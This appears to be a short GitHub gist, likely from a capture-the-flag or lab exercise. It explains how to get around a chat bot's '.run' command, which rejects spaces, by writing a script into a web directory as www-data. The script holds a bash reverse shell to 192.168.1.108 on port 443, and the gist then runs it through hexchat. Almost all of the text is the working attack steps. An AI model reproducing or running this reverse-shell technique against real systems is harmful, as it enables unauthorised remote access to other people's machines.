Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Workaround

I'd faced issue while executing any command using .run command as it doesn't supporting white spaces and raising exception(for example ls index.html).

I figured up it by creating a .sh file with limited privledge session(www-data) in /html directory.

echo "#! bin/bash" > abc.sh
echo $'\n' >> abc.sh
echo "bash -i >& /dev/tcp/192.168.1.108/443 0>&1" >>abc.sh
chmod +x abc.sh

Now in hexchat exexcute: .run /var/www/html/abc.sh

Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment